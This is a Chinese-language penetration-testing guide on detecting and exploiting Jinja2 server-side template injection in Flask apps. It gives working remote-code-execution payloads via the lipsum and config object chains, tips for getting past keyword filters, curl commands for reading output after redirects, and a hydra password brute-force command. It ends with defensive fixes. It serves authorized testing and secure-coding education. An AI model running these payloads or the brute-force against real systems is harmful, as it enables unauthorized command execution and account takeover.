跳到主要内容

Jinja2 SSTI 探测与 RCE

SSTI(Server-Side Template Injection)是指用户输入被当作模板语法交给模板引擎解析。Jinja2 的 {{...}} 表达式会在服务端求值,一旦可控输入进入模板渲染,攻击者就能沿 Python 对象链走到 os 模块执行系统命令。


探测:确认表达式被执行

在可疑参数中注入算术表达式:

{{7*7}}

页面回显 49 即确认 SSTI 存在;回显原文 {{7*7}} 则说明只是普通字符串输出。可以再配合 {{7*'7'}}(Jinja2 返回 7777777)区分模板引擎类型。


根因区分:哪种渲染方式会执行

代码写法是否执行注入说明
render_template_string(用户输入)输入整体作为模板源码解析
render_template("file.html", data=输入)不会输入只作为变量值,模板来自固定文件
WAF/过滤分支后仍调用 render_template_string()过滤只拦截部分内容,剩余内容仍被解析

审计或黑盒判断时,重点是找到“输入最终进入 render_template_string()”的路径。一个常见设计缺陷是:应用对输入做了黑名单/过滤,命中时返回 403,但过滤分支本身仍把(处理过的)输入交给 render_template_string() 渲染——此时 403 错误页也可以作为执行通道,表达式照样求值。


方法 A:lipsum 全局链 RCE

{{lipsum.__globals__.os.popen('id').read()}}

lipsum 是 Jinja2 内置全局对象,通过 __globals__ 可以取到模板环境所在模块的全局命名空间,进而引用 os 模块。

方法 B:config 链变体

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

config 是 Flask 暴露给模板的配置对象,沿 __class__.__init__.__globals__ 同样能到达 os。两个 Payload 效果相同,可互为备用:当其中一个关键字(如 lipsumconfig)被过滤时换另一个。

注意点:

  • 命令输出用 .read() 取回,先用 id 这类短命令验证。
  • 引号、空格被过滤时,考虑对命令本身做编码变形,而不是硬编码整条链。

Flash 回显场景

Flask 的 flash 消息不会出现在当前响应里,而是在 302 之后的下一个页面 上渲染。直接 curl 只能看到跳转响应,需要跟随重定向:

# 跟随重定向读取 flash 渲染结果
curl -sS -L 'http://target/vuln?payload={{7*7}}'

# 或者先拿到 302 的 Location/Cookie,再手动 GET 一次目标页
curl -sS -c jar.txt 'http://target/vuln?payload=...'
curl -sS -b jar.txt 'http://target/next-page'

回显看不到输出时,先确认是不是这一类“二次请求才渲染”的场景,再下结论说注入失败。


仅限授权环境

SSTI Payload 会在服务端执行任意命令,只能在授权靶场或明确授权的测试中使用。

Werkzeug 并发限制

Flask 开发服务器(Werkzeug)抗并发能力差。对这类目标做爆破、扫描时必须用单线程,否则容易把服务直接打挂,后续测试全部中断:

# hydra 对 Flask 开发服务器爆破:单线程
hydra -t 1 -l admin -P rockyou.txt target http-post-form "/login:user=^USER^&pass=^PASS^:F=failed"

同理,目录枚举也应降低线程与速率,可参考 目录枚举工作流


复核要点

检查点说明
表达式是否求值{{7*7}} 回显 49 才算确认,回显原文不算
渲染入口确认存在 render_template_string(用户输入) 类路径
回显通道直接回显、403 页面、flash 二次请求页面都要试
服务承受力Werkzeug 开发服务器用单线程、低速率
输出确认idwhoami 等短命令验证,不要先跑重型命令

防御建议

  1. 不要把用户输入传给 render_template_string();动态内容一律通过变量传入 render_template()
  2. 确需渲染用户提供模板时,使用 Jinja2 沙箱(SandboxedEnvironment)并限制可用属性。
  3. 过滤/黑名单只是缓解:只要输入仍进入模板解析,绕过只是时间问题,不能作为根治手段。
  4. WAF 拦截 {{lipsum 等特征无法根治问题,应修复代码层面的渲染入口。
  5. 生产环境避免使用 Flask 开发服务器直接对外服务,同时为登录等接口设置限速。